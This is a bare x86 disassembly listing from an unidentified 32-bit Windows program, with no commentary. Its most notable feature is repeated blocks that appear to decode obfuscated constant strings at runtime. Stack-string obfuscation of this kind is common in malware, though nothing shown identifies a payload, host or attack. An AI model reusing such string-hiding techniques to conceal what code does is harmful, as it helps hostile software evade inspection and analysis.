add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x428]
call fcn.012dcc40
add esp, 0x20
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.0130bd80
lea ecx, [ebp - 0x428]
mov byte [ebp - 4], 0x30
call fcn.0130bff0
lea ecx, [ebp - 0x21c]
call fcn.012aafa0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.013933d8
push edi
call fcn.0138ee58
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.012aae60
sub esp, 0x18
mov dword [ebp - 0x130], 0xeff0ffcf
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x12c], 0xf8fdb6a3
mov word [ebp - 0x128], 0x100
mov esi, esp
call fcn.012b7620
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
add esp, 4
call fcn.012b46b0
add esp, 0x18
test al, al
je 0x12de5e1
lea ecx, [ebp - 0x86]
mov dword [ebp - 0x86], 0x100f6e4
call fcn.012b2bd0
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x158], 0xeff0ffcf
mov esi, eax
mov dword [ebp - 0x154], 0xf8fdb6a3
mov word [ebp - 0x150], 0x100
call fcn.012b7620
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.01312290
add esp, 4
mov ecx, eax
call fcn.012aafa0
push esi
push eax
call fcn.0138b5d0
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.012aae60
test edi, edi
je 0x12de5e1
sub esp, 0x18
mov dword [ebp - 0xf4], 0xa2ecf1f8
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf0], 0xfbfcb9
mov byte [ebp - 0xec], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.012b4060
push eax
mov ecx, esi
call fcn.012aaf00
sub esp, 0x18
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xfe]
mov dword [ebp - 0xfe], 0xeff0ffcf
mov dword [ebp - 0xfa], 0xf8fdb6a3
mov esi, esp
mov word [ebp - 0xf6], 0x100
call fcn.012b7620
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x458]
call fcn.012dcc40
add esp, 0x20
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.0130bd80
lea ecx, [ebp - 0x458]
mov byte [ebp - 4], 0x30
call fcn.0130bff0
lea ecx, [ebp - 0x21c]
call fcn.012aafa0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.013933d8
push edi
call fcn.0138ee58
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.012aae60
sub esp, 0x18
mov dword [ebp - 0x179], 0xe4f0f7cf
lea ecx, [ebp - 0x179]
mov dword [ebp - 0x175], 0xfeb7a0e3
mov word [ebp - 0x171], 0xf9
mov esi, esp
mov byte [ebp - 0x16f], 1
call fcn.012b2d50
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
add esp, 4
call fcn.012b46b0
add esp, 0x18
test al, al
je 0x12de799
lea ecx, [ebp - 0x8a]
mov dword [ebp - 0x8a], 0x100f6e4
call fcn.012b2bd0
lea ecx, [ebp - 0x18f]
mov dword [ebp - 0x18f], 0xe4f0f7cf
mov esi, eax
mov dword [ebp - 0x18b], 0xfeb7a0e3
mov word [ebp - 0x187], 0xf9
mov byte [ebp - 0x185], 1
call fcn.012b2d50
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.01312290
add esp, 4
mov ecx, eax
call fcn.012aafa0
push esi
push eax
call fcn.0138b5d0
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.012aae60
test edi, edi
je 0x12de799
sub esp, 0x18
mov dword [ebp - 0x14e], 0xe2e7f1f0
lea ecx, [ebp - 0x14e]
mov dword [ebp - 0x14a], 0xf8fdb6af
mov word [ebp - 0x146], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.012b7620
push eax
mov ecx, esi
call fcn.012aaf00
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x16e]
sub esp, 0x18
mov dword [ebp - 0x16e], 0xe4f0f7cf
mov dword [ebp - 0x16a], 0xfeb7a0e3
mov esi, esp
mov word [ebp - 0x166], 0xf9
mov byte [ebp - 0x164], 1
call fcn.012b2d50
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x448]
call fcn.012dcc40
add esp, 0x20
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.0130bd80
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x30
call fcn.0130bff0
lea ecx, [ebp - 0x21c]
call fcn.012aafa0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.013933d8
push edi
call fcn.0138ee58
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.012aae60
sub esp, 0x18
mov dword [ebp - 0x163], 0xe4f0f7cf
lea ecx, [ebp - 0x163]
mov dword [ebp - 0x15f], 0xfeb7a1e3
mov word [ebp - 0x15b], 0xf9
mov esi, esp
mov byte [ebp - 0x159], 1
call fcn.012b2d50
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
add esp, 4
call fcn.012b46b0
add esp, 0x18
test al, al
je 0x12de94d
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x8e], 0x100f6e4
call fcn.012b2bd0
lea ecx, [ebp - 0x19a]
mov dword [ebp - 0x19a], 0xe4f0f7cf
mov esi, eax
mov dword [ebp - 0x196], 0xfeb7a1e3
mov word [ebp - 0x192], 0xf9
mov byte [ebp - 0x190], 1
call fcn.012b2d50
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.01312290
add esp, 4
mov ecx, eax
call fcn.012aafa0
push esi
push eax
call fcn.0138b5d0
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.012aae60
test edi, edi
je 0x12de94d
sub esp, 0x18
mov dword [ebp - 0x144], 0xe2e7f1f0
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x140], 0xf8fdb6ae
mov word [ebp - 0x13c], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.012b7620
push eax
mov ecx, esi
call fcn.012aaf00
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x184]
sub esp, 0x18
mov dword [ebp - 0x184], 0xe4f0f7cf
mov dword [ebp - 0x180], 0xfeb7a1e3
mov esi, esp
mov word [ebp - 0x17c], 0xf9
mov byte [ebp - 0x17a], 1
call fcn.012b2d50
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x438]
call fcn.012dcc40
add esp, 0x20
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.0130bd80
lea ecx, [ebp - 0x438]
call fcn.0130bff0
lea ecx, [ebp - 0x21c]
call fcn.012aafa0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.013933d8
push edi
call fcn.0138ee58
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.012aae60
lea ecx, [ebp - 0x204]
call fcn.012aae60
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x28c]
cmp ecx, 0x10
jb 0x12de996
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12de98c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
call fcn.0130bff0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x37c]
cmp ecx, 0x10
jb 0x12de9fa
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12de9f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x364]
cmp ecx, 0x10
jb 0x12dea38
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12dea2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
cmp ecx, 0x10
jb 0x12dea91
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12dea87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov edi, dword [ebp - 0x1e0]
push edi
call 0x144437f
ret
call fcn.0138aa20
lea ecx, [ebp - 0xc0]
call fcn.01310220
push eax
lea ecx, [ebp - 0x4d8]
call fcn.012aaf00
push eax
mov edx, 0xe30e10
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x4f0]
call fcn.013123b0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x4a4]
call fcn.012b1120
add esp, 4
lea eax, [ebp - 0x4a4]
push 0xe416e8
push eax
call fcn.0138716b
lea ecx, [ebp - 0xc0]
call fcn.01310220
push eax
lea ecx, [ebp - 0x508]
call fcn.012aaf00
push eax
mov edx, 0xe30e10
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x520]
call fcn.013123b0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x4c0]
call fcn.012b1120
add esp, 4
lea eax, [ebp - 0x4c0]
push 0xe416e8
push eax
call fcn.0138716b
push eax
call fcn.0138472b
call fcn.012aa840
int3